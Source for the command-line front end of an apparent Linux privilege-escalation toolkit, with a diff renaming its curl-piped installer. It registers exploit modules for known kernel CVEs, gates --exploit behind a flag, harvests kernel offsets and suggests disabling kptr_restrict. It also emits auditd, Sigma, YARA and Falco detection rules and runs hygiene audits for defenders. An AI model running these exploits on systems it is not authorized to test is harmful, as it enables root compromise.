char *name = json_escape(m->name);
|
||||
char *cve = json_escape(m->cve);
|
||||
char *summary = json_escape(m->summary);
|
||||
char *family = json_escape(m->family);
|
||||
char *krange = json_escape(m->kernel_range);
|
||||
fprintf(stdout,
|
||||
"{\"name\":\"%s\",\"cve\":\"%s\",\"family\":\"%s\","
|
||||
"\"kernel_range\":\"%s\",\"summary\":\"%s\","
|
||||
"\"has\":{\"detect\":%s,\"exploit\":%s,\"mitigate\":%s,\"cleanup\":%s,"
|
||||
"\"auditd\":%s,\"sigma\":%s,\"yara\":%s,\"falco\":%s}",
|
||||
name ? name : "",
|
||||
cve ? cve : "",
|
||||
family ? family : "",
|
||||
krange ? krange : "",
|
||||
summary ? summary : "",
|
||||
m->detect ? "true" : "false",
|
||||
m->exploit ? "true" : "false",
|
||||
m->mitigate ? "true" : "false",
|
||||
m->cleanup ? "true" : "false",
|
||||
m->detect_auditd ? "true" : "false",
|
||||
m->detect_sigma ? "true" : "false",
|
||||
m->detect_yara ? "true" : "false",
|
||||
m->detect_falco ? "true" : "false");
|
||||
if (include_rules) {
|
||||
/* Embed the actual rule text. Useful for --module-info. */
|
||||
char *aud = json_escape(m->detect_auditd);
|
||||
char *sig = json_escape(m->detect_sigma);
|
||||
char *yar = json_escape(m->detect_yara);
|
||||
char *fal = json_escape(m->detect_falco);
|
||||
fprintf(stdout,
|
||||
",\"detect_rules\":{\"auditd\":%s%s%s,\"sigma\":%s%s%s,"
|
||||
"\"yara\":%s%s%s,\"falco\":%s%s%s}",
|
||||
aud ? "\"" : "", aud ? aud : "null", aud ? "\"" : "",
|
||||
sig ? "\"" : "", sig ? sig : "null", sig ? "\"" : "",
|
||||
yar ? "\"" : "", yar ? yar : "null", yar ? "\"" : "",
|
||||
fal ? "\"" : "", fal ? fal : "null", fal ? "\"" : "");
|
||||
free(aud); free(sig); free(yar); free(fal);
|
||||
}
|
||||
fprintf(stdout, "}");
|
||||
free(name); free(cve); free(summary); free(family); free(krange);
|
||||
}
|
||||
|
||||
static int cmd_list(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
size_t n = iamroot_module_count();
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
if (i) fputc(',', stdout);
|
||||
emit_module_json(iamroot_module_at(i), false);
|
||||
}
|
||||
fprintf(stdout, "]}\n");
|
||||
return 0;
|
||||
}
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"NAME", "CVE", "FAMILY", "SUMMARY");
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"----", "---", "------", "-------");
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
m->name, m->cve, m->family, m->summary);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --audit: system-hygiene scan beyond per-CVE detect. Inventories
|
||||
* setuid binaries, world-writable system files, capability-bound
|
||||
* non-standard binaries, NOPASSWD sudo entries. Complements --scan;
|
||||
* answers "is this box generally exposed to privesc?" beyond
|
||||
* "does it have any of the known kernel CVEs?".
|
||||
*
|
||||
* Output is structured findings. --json switches to a single JSON
|
||||
* object with arrays per category. Side-effect-free: read-only
|
||||
* filesystem walks. */
|
||||
struct finding {
|
||||
const char *category; /* "setuid", "world_writable", "capability", "sudo" */
|
||||
char path[512];
|
||||
char note[256];
|
||||
};
|
||||
|
||||
static void print_finding_human(const struct finding *f)
|
||||
{
|
||||
fprintf(stdout, "[%-15s] %-50s %s\n",
|
||||
f->category, f->path, f->note);
|
||||
}
|
||||
|
||||
/* Walk one filesystem path looking for setuid-root binaries. Bounded
|
||||
* via find(1) for portability (every distro ships find). */
|
||||
static int audit_setuid(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
/* Use popen() on `find` rather than recursive opendir() — much
|
||||
* simpler, every distro ships find. Limit to common
|
||||
* binary-bearing dirs to keep runtime reasonable. */
|
||||
static const char *cmd =
|
||||
"find /usr/bin /usr/sbin /bin /sbin /usr/local/bin /usr/local/sbin "
|
||||
"-xdev -perm -4000 -type f 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
/* Set of suspicious binaries — these are notable in the LPE world.
|
||||
* The full setuid inventory is informational; this list flags
|
||||
* specific items as "review this". */
|
||||
static const struct { const char *path; const char *note; } SUSP[] = {
|
||||
{"/usr/bin/pkexec", "Pwnkit CVE-2021-4034 history; tightly audit polkit policy"},
|
||||
{"/usr/bin/mount.cifs", "historically setuid-root; check distro hardening"},
|
||||
{"/usr/bin/fusermount3", "historically setuid; userns-related LPE history"},
|
||||
{"/usr/bin/passwd", "expected setuid; verify integrity"},
|
||||
{"/usr/bin/sudo", "expected setuid; verify integrity + sudoers"},
|
||||
{"/usr/bin/su", "expected setuid; verify integrity"},
|
||||
{"/usr/lib/snapd/snap-confine", "Ubuntu snap sandbox-escape history"},
|
||||
{NULL, NULL},
|
||||
};
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "setuid binary — review";
|
||||
for (size_t i = 0; SUSP[i].path; i++) {
|
||||
if (strcmp(line, SUSP[i].path) == 0) { note = SUSP[i].note; break; }
|
||||
}
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
char *n_esc = json_escape(note);
|
||||
fprintf(stdout, "%s{\"category\":\"setuid\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "",
|
||||
p_esc ? p_esc : "", n_esc ? n_esc : "");
|
||||
*first_json_emitted = true;
|
||||
free(p_esc); free(n_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "setuid" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Look for world-writable files inside /etc. Catches obviously-broken
|
||||
* filesystem permissions where any user can edit system config. */
|
||||
static int audit_world_writable(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
static const char *cmd =
|
||||
"find /etc -xdev -perm -0002 -type f 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "world-writable in /etc — anyone can edit";
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"world_writable\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "world_writable" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Find files with file capabilities set. cap_setuid+ep or
|
||||
* cap_dac_override+ep on a non-standard binary = potential
|
||||
* post-exploit persistence or a misconfigured capability grant. */
|
||||
static int audit_capabilities(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
/* getcap is in libcap2-bin / libcap-progs depending on distro;
|
||||
* skip cleanly if absent. */
|
||||
if (access("/sbin/getcap", X_OK) != 0
|
||||
&& access("/usr/sbin/getcap", X_OK) != 0
|
||||
&& access("/usr/bin/getcap", X_OK) != 0) {
|
||||
if (!json) {
|
||||
fprintf(stderr, "[i] audit: getcap not installed — skipping capability scan\n");
|
||||
}
|
||||
if (count_out) *count_out = 0;
|
||||
return 0;
|
||||
}
|
||||
static const char *cmd =
|
||||
"getcap -r /usr/bin /usr/sbin /bin /sbin /usr/local 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "file capability set — verify legitimacy";
|
||||
if (strstr(line, "cap_setuid+ep") || strstr(line, "cap_setgid+ep")
|
||||
|| strstr(line, "cap_dac_override+ep") || strstr(line, "cap_sys_admin+ep")) {
|
||||
note = "high-power cap+ep — privesc-equivalent if attacker-writable";
|
||||
}
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"capability\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "capability" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Check /etc/sudoers and /etc/sudoers.d for NOPASSWD entries. Many
|
||||
* setups have legit NOPASSWD for service accounts; flag and let
|
||||
* operator review. */
|
||||
static int audit_sudo_nopasswd(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
static const char *cmd =
|
||||
"grep -rIn -E '^[^#].*NOPASSWD' /etc/sudoers /etc/sudoers.d 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "sudo NOPASSWD entry — verify scope";
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"sudo\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "sudo" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_audit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
int n_setuid = 0, n_ww = 0, n_cap = 0, n_sudo = 0;
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"audit\":[", IAMROOT_VERSION);
|
||||
bool first = false;
|
||||
audit_setuid(&n_setuid, true, &first);
|
||||
audit_world_writable(&n_ww, true, &first);
|
||||
audit_capabilities(&n_cap, true, &first);
|
||||
audit_sudo_nopasswd(&n_sudo, true, &first);
|
||||
fprintf(stdout, "],\"summary\":{\"setuid\":%d,\"world_writable\":%d,"
|
||||
"\"capability\":%d,\"sudo_nopasswd\":%d}}\n",
|
||||
n_setuid, n_ww, n_cap, n_sudo);
|
||||
} else {
|
||||
fprintf(stdout, "%-17s %-50s %s\n", "CATEGORY", "PATH", "NOTE");
|
||||
fprintf(stdout, "%-17s %-50s %s\n", "--------", "----", "----");
|
||||
bool first = false;
|
||||
audit_setuid(&n_setuid, false, &first);
|
||||
audit_world_writable(&n_ww, false, &first);
|
||||
audit_capabilities(&n_cap, false, &first);
|
||||
audit_sudo_nopasswd(&n_sudo, false, &first);
|
||||
fprintf(stderr, "\n[*] audit summary: %d setuid, %d world-writable, "
|
||||
"%d capability-set, %d sudo NOPASSWD\n",
|
||||
n_setuid, n_ww, n_cap, n_sudo);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --dump-offsets: walk /proc/kallsyms + /boot/System.map for the running
|
||||
* kernel and emit a ready-to-paste C struct entry for kernel_table[] in
|
||||
* core/offsets.c. Operators run this once on a kernel they have root on
|
||||
* (or kptr_restrict=0), then upstream the entry so --full-chain works
|
||||
* out-of-the-box on that build for everyone. */
|
||||
static int cmd_dump_offsets(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
struct iamroot_kernel_offsets off;
|
||||
int n = iamroot_offsets_resolve(&off);
|
||||
|
||||
if (off.kbase == 0) {
|
||||
fprintf(stderr,
|
||||
"[-] dump-offsets: couldn't resolve a kernel base address.\n"
|
||||
"\n"
|
||||
" /proc/kallsyms returned all-zero addresses (kptr_restrict is\n"
|
||||
" enforcing). /boot/System.map-%s wasn't readable either.\n"
|
||||
"\n"
|
||||
" Try one of:\n"
|
||||
" sudo iamroot --dump-offsets\n"
|
||||
" sudo sysctl kernel.kptr_restrict=0; iamroot --dump-offsets\n"
|
||||
" sudo chmod 0644 /boot/System.map-$(uname -r); iamroot --dump-offsets\n",
|
||||
off.kernel_release[0] ? off.kernel_release : "$(uname -r)");
|
||||
return 1;
|
||||
}
|
||||
if (n == 0) {
|
||||
fprintf(stderr,
|
||||
"[-] dump-offsets: kbase resolved but no symbols. Sources tried: env,\n"
|
||||
" /proc/kallsyms, /boot/System.map. Check that the kernel symbols\n"
|
||||
" you need (modprobe_path / init_task / poweroff_cmd) actually exist\n"
|
||||
" in the symbol files.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
time_t now = time(NULL);
|
||||
struct tm tm; localtime_r(&now, &tm);
|
||||
|
||||
fprintf(stdout,
|
||||
"/* Generated %04d-%02d-%02d by `iamroot --dump-offsets`.\n"
|
||||
" * Host kernel: %s%s%s\n"
|
||||
" * Resolved fields: modprobe_path=%s init_task=%s cred=%s\n"
|
||||
" * Paste this entry into kernel_table[] in core/offsets.c.\n"
|
||||
" */\n",
|
||||
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
|
||||
off.kernel_release,
|
||||
off.distro[0] ? " distro=" : "",
|
||||
off.distro[0] ? off.distro : "",
|
||||
iamroot_offset_source_name(off.source_modprobe),
|
||||
iamroot_offset_source_name(off.source_init_task),
|
||||
iamroot_offset_source_name(off.source_cred));
|
||||
|
||||
fprintf(stdout,
|
||||
"{ .release_glob = \"%s\",\n", off.kernel_release);
|
||||
if (off.distro[0]) {
|
||||
fprintf(stdout,
|
||||
" .distro_match = \"%s\",\n", off.distro);
|
||||
} else {
|
||||
fprintf(stdout,
|
||||
" .distro_match = NULL,\n");
|
||||
}
|
||||
if (off.modprobe_path) {
|
||||
fprintf(stdout,
|
||||
" .rel_modprobe_path = 0x%lx,\n",
|
||||
(unsigned long)(off.modprobe_path - off.kbase));
|
||||
}
|
||||
if (off.poweroff_cmd) {
|
||||
fprintf(stdout,
|
||||
" .rel_poweroff_cmd = 0x%lx,\n",
|
||||
(unsigned long)(off.poweroff_cmd - off.kbase));
|
||||
}
|
||||
if (off.init_task) {
|
||||
fprintf(stdout,
|
||||
" .rel_init_task = 0x%lx,\n",
|
||||
(unsigned long)(off.init_task - off.kbase));
|
||||
}
|
||||
if (off.init_cred) {
|
||||
fprintf(stdout,
|
||||
" .rel_init_cred = 0x%lx,\n",
|
||||
(unsigned long)(off.init_cred - off.kbase));
|
||||
}
|
||||
if (off.cred_offset_real) {
|
||||
fprintf(stdout,
|
||||
" .cred_offset_real = 0x%x,\n", off.cred_offset_real);
|
||||
}
|
||||
if (off.cred_offset_eff) {
|
||||
fprintf(stdout,
|
||||
" .cred_offset_eff = 0x%x,\n", off.cred_offset_eff);
|
||||
}
|
||||
fprintf(stdout,
|
||||
"},\n");
|
||||
|
||||
fprintf(stderr,
|
||||
"\n[+] dumped %d resolved fields. Verify offsets, then upstream this\n"
|
||||
" entry via a PR to https://github.com/KaraZajac/IAMROOT.\n", n);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --module-info <name>: dump everything we know about one module.
|
||||
* Human-readable by default, JSON with --json. Includes the full
|
||||
* detection-rule text bodies for that module. */
|
||||
static int cmd_module_info(const char *name, const struct iamroot_ctx *ctx)
|
||||
{
|
||||
const struct iamroot_module *m = iamroot_module_find(name);
|
||||
if (!m) {
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"error\":\"module not found\",\"name\":\"%s\"}\n", name);
|
||||
} else {
|
||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
if (ctx->json) {
|
||||
emit_module_json(m, true);
|
||||
fputc('\n', stdout);
|
||||
return 0;
|
||||
}
|
||||
fprintf(stdout, "name: %s\n", m->name);
|
||||
fprintf(stdout, "cve: %s\n", m->cve);
|
||||
fprintf(stdout, "family: %s\n", m->family);
|
||||
fprintf(stdout, "kernel_range: %s\n", m->kernel_range);
|
||||
fprintf(stdout, "summary: %s\n", m->summary);
|
||||
fprintf(stdout, "operations: %s%s%s%s\n",
|
||||
m->detect ? "detect " : "",
|
||||
m->exploit ? "exploit " : "",
|
||||
m->mitigate ? "mitigate " : "",
|
||||
m->cleanup ? "cleanup " : "");
|
||||
fprintf(stdout, "detect rules: %s%s%s%s\n",
|
||||
m->detect_auditd ? "auditd " : "",
|
||||
m->detect_sigma ? "sigma " : "",
|
||||
m->detect_yara ? "yara " : "",
|
||||
m->detect_falco ? "falco " : "");
|
||||
if (m->detect_auditd) {
|
||||
fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
|
||||
}
|
||||
if (m->detect_sigma) {
|
||||
fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_scan(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
int worst = 0;
|
||||
size_t n = iamroot_module_count();
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] iamroot scan: %zu module(s) registered\n", n);
|
||||
} else {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
|
||||
}
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
if (m->detect == NULL) continue;
|
||||
iamroot_result_t r = m->detect(ctx);
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "%s{\"name\":\"%s\",\"cve\":\"%s\",\"result\":\"%s\"}",
|
||||
(i == 0 ? "" : ","), m->name, m->cve, result_str(r));
|
||||
} else {
|
||||
fprintf(stdout, "[%s] %-20s %-18s %s\n",
|
||||
result_str(r), m->name, m->cve, m->summary);
|
||||
}
|
||||
/* track worst (highest) result code as overall exit */
|
||||
if ((int)r > worst) worst = (int)r;
|
||||
}
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "]}\n");
|
||||
}
|
||||
return worst;
|
||||
}
|
||||
|
||||
/* Dump detection rules for every registered module in the requested
|
||||
* format. Modules that don't ship a rule for that format are simply
|
||||
* skipped (no error). Output goes to stdout so it can be redirected
|
||||
* straight into /etc/audit/rules.d/, the SIEM, etc. */
|
||||
static int cmd_detect_rules(enum detect_format fmt)
|
||||
{
|
||||
static const char *fmt_names[] = {
|
||||
[FMT_AUDITD] = "auditd",
|
||||
[FMT_SIGMA] = "sigma",
|
||||
[FMT_YARA] = "yara",
|
||||
[FMT_FALCO] = "falco",
|
||||
};
|
||||
size_t n = iamroot_module_count();
|
||||
fprintf(stdout, "# IAMROOT detection rules — format: %s\n", fmt_names[fmt]);
|
||||
fprintf(stdout, "# Generated from %zu registered modules\n", n);
|
||||
fprintf(stdout, "# AUTHORIZED-TESTING tool; see docs/ETHICS.md\n\n");
|
||||
/* Dedup by pointer: family-shared rule strings (e.g. all 5
|
||||
* copy_fail_family modules share one auditd rule string) would
|
||||
* otherwise emit identical blocks once per module. */
|
||||
const char *seen[64] = {0};
|
||||
size_t n_seen = 0;
|
||||
int emitted = 0;
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
const char *rules = NULL;
|
||||
switch (fmt) {
|
||||
case FMT_AUDITD: rules = m->detect_auditd; break;
|
||||
case FMT_SIGMA: rules = m->detect_sigma; break;
|
||||
case FMT_YARA: rules = m->detect_yara; break;
|
||||
case FMT_FALCO: rules = m->detect_falco; break;
|
||||
}
|
||||
if (rules == NULL) continue;
|
||||
/* Already emitted? */
|
||||
bool dup = false;
|
||||
for (size_t k = 0; k < n_seen; k++) {
|
||||
if (seen[k] == rules) { dup = true; break; }
|
||||
}
|
||||
if (dup) {
|
||||
fprintf(stdout, "# === %s (%s) — see family rules above ===\n\n",
|
||||
m->name, m->cve);
|
||||
continue;
|
||||
}
|
||||
if (n_seen < sizeof(seen)/sizeof(seen[0])) seen[n_seen++] = rules;
|
||||
fprintf(stdout, "# === %s (%s) ===\n", m->name, m->cve);
|
||||
fputs(rules, stdout);
|
||||
fputc('\n', stdout);
|
||||
emitted++;
|
||||
}
|
||||
fprintf(stderr, "[*] emitted detection rules for %d / %zu module(s) (format: %s)\n",
|
||||
emitted, n, fmt_names[fmt]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_one(const struct iamroot_module *m, const char *op,
|
||||
const struct iamroot_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t (*fn)(const struct iamroot_ctx *) = NULL;
|
||||
if (strcmp(op, "exploit") == 0) fn = m->exploit;
|
||||
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
|
||||
else if (strcmp(op, "cleanup") == 0) fn = m->cleanup;
|
||||
|
||||
if (fn == NULL) {
|
||||
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
|
||||
return 1;
|
||||
}
|
||||
iamroot_result_t r = fn(ctx);
|
||||
fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
|
||||
return (int)r;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
/* Bring up the module registry. As new families land, add their
|
||||
* register_* call here. */
|
||||
iamroot_register_copy_fail_family();
|
||||
iamroot_register_dirty_pipe();
|
||||
iamroot_register_entrybleed();
|
||||
iamroot_register_pwnkit();
|
||||
iamroot_register_nf_tables();
|
||||
iamroot_register_overlayfs();
|
||||
iamroot_register_cls_route4();
|
||||
iamroot_register_dirty_cow();
|
||||
iamroot_register_ptrace_traceme();
|
||||
iamroot_register_netfilter_xtcompat();
|
||||
iamroot_register_af_packet();
|
||||
iamroot_register_fuse_legacy();
|
||||
iamroot_register_stackrot();
|
||||
iamroot_register_af_packet2();
|
||||
iamroot_register_cgroup_release_agent();
|
||||
iamroot_register_overlayfs_setuid();
|
||||
iamroot_register_nft_set_uaf();
|
||||
iamroot_register_af_unix_gc();
|
||||
iamroot_register_nft_fwd_dup();
|
||||
iamroot_register_nft_payload();
|
||||
|
||||
enum mode mode = MODE_SCAN;
|
||||
struct iamroot_ctx ctx = {0};
|
||||
const char *target = NULL;
|
||||
int i_know = 0;
|
||||
|
||||
enum detect_format dr_fmt = FMT_AUDITD;
|
||||
static struct option longopts[] = {
|
||||
{"scan", no_argument, 0, 'S'},
|
||||
{"list", no_argument, 0, 'L'},
|
||||
{"exploit", required_argument, 0, 'E'},
|
||||
{"mitigate", required_argument, 0, 'M'},
|
||||
{"cleanup", required_argument, 0, 'C'},
|
||||
{"detect-rules", no_argument, 0, 'D'},
|
||||
{"module-info", required_argument, 0, 'I'},
|
||||
{"audit", no_argument, 0, 'A'},
|
||||
{"dump-offsets", no_argument, 0, 8 },
|
||||
{"format", required_argument, 0, 6 },
|
||||
{"i-know", no_argument, 0, 1 },
|
||||
{"active", no_argument, 0, 2 },
|
||||
{"no-shell", no_argument, 0, 3 },
|
||||
{"json", no_argument, 0, 4 },
|
||||
{"no-color", no_argument, 0, 5 },
|
||||
{"full-chain", no_argument, 0, 7 },
|
||||
{"version", no_argument, 0, 'V'},
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0, 0, 0, 0}
|
||||
};
|
||||
|
||||
int c, opt_idx;
|
||||
while ((c = getopt_long(argc, argv, "SLDAE:M:C:I:Vh", longopts, &opt_idx)) != -1) {
|
||||
switch (c) {
|
||||
case 'S': mode = MODE_SCAN; break;
|
||||
case 'L': mode = MODE_LIST; break;
|
||||
case 'D': mode = MODE_DETECT_RULES; break;
|
||||
case 'A': mode = MODE_AUDIT; break;
|
||||
case 'I': mode = MODE_MODULE_INFO; target = optarg; break;
|
||||
case 'E': mode = MODE_EXPLOIT; target = optarg; break;
|
||||
case 'M': mode = MODE_MITIGATE; target = optarg; break;
|
||||
case 'C': mode = MODE_CLEANUP; target = optarg; break;
|
||||
case 1 : i_know = 1; ctx.authorized = true; break;
|
||||
case 2 : ctx.active_probe = true; break;
|
||||
case 3 : ctx.no_shell = true; break;
|
||||
case 4 : ctx.json = true; break;
|
||||
case 5 : ctx.no_color = true; break;
|
||||
case 7 : ctx.full_chain = true; break;
|
||||
case 8 : mode = MODE_DUMP_OFFSETS; break;
|
||||
case 6 :
|
||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
||||
else if (strcmp(optarg, "yara") == 0) dr_fmt = FMT_YARA;
|
||||
else if (strcmp(optarg, "falco") == 0) dr_fmt = FMT_FALCO;
|
||||
else { fprintf(stderr, "[-] unknown --format: %s\n", optarg); return 1; }
|
||||
break;
|
||||
case 'V': printf("iamroot %s\n", IAMROOT_VERSION); return 0;
|
||||
case 'h': mode = MODE_HELP; break;
|
||||
default: usage(argv[0]); return 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (mode == MODE_HELP) {
|
||||
fputs(BANNER, stderr);
|
||||
usage(argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (!ctx.json) fputs(BANNER, stderr);
|
||||
|
||||
if (mode == MODE_SCAN) return cmd_scan(&ctx);
|
||||
if (mode == MODE_LIST) return cmd_list(&ctx);
|
||||
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
|
||||
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
|
||||
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
|
||||
if (mode == MODE_DUMP_OFFSETS) return cmd_dump_offsets(&ctx);
|
||||
|
||||
/* --exploit / --mitigate / --cleanup all take a target */
|
||||
if (target == NULL) {
|
||||
fprintf(stderr, "[-] mode requires a module name\n");
|
||||
return 1;
|
||||
}
|
||||
const struct iamroot_module *m = iamroot_module_find(target);
|
||||
if (m == NULL) {
|
||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", target);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mode == MODE_EXPLOIT) {
|
||||
if (!i_know) {
|
||||
fprintf(stderr,
|
||||
"[-] --exploit requires --i-know. This will attempt to gain\n"
|
||||
" root and corrupt /etc/passwd in the page cache.\n"
|
||||
" Authorized testing only. See docs/ETHICS.md.\n");
|
||||
return 1;
|
||||
}
|
||||
return cmd_one(m, "exploit", &ctx);
|
||||
}
|
||||
if (mode == MODE_MITIGATE) return cmd_one(m, "mitigate", &ctx);
|
||||
if (mode == MODE_CLEANUP) return cmd_one(m, "cleanup", &ctx);
|
||||
|
||||
usage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
+85
-38
@@ -1,50 +1,77 @@
|
||||
#!/usr/bin/env bash
|
||||
# IAMROOT one-shot installer.
|
||||
# SKELETONKEY one-shot installer.
|
||||
#
|
||||
# Usage:
|
||||
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
||||
# curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
#
|
||||
# Or with explicit version:
|
||||
# IAMROOT_VERSION=v0.1.0 curl ... | sh
|
||||
# SKELETONKEY_VERSION=v0.1.0 curl ... | sh
|
||||
#
|
||||
# Or install to a different prefix:
|
||||
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
|
||||
# SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
|
||||
#
|
||||
# Environment:
|
||||
# IAMROOT_VERSION release tag (default: latest)
|
||||
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
||||
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT)
|
||||
# SKELETONKEY_VERSION release tag (default: latest)
|
||||
# SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
||||
# SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 — installed successfully
|
||||
# 1 — error (unsupported arch, download failure, permission denied)
|
||||
|
||||
set -euo pipefail
|
||||
# POSIX-friendly: -eu is universal, pipefail only on shells that
|
||||
# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
|
||||
# installer still exits on the first hard error since every curl/
|
||||
# tar/install step is checked explicitly.
|
||||
set -eu
|
||||
(set -o pipefail) 2>/dev/null && set -o pipefail || true
|
||||
|
||||
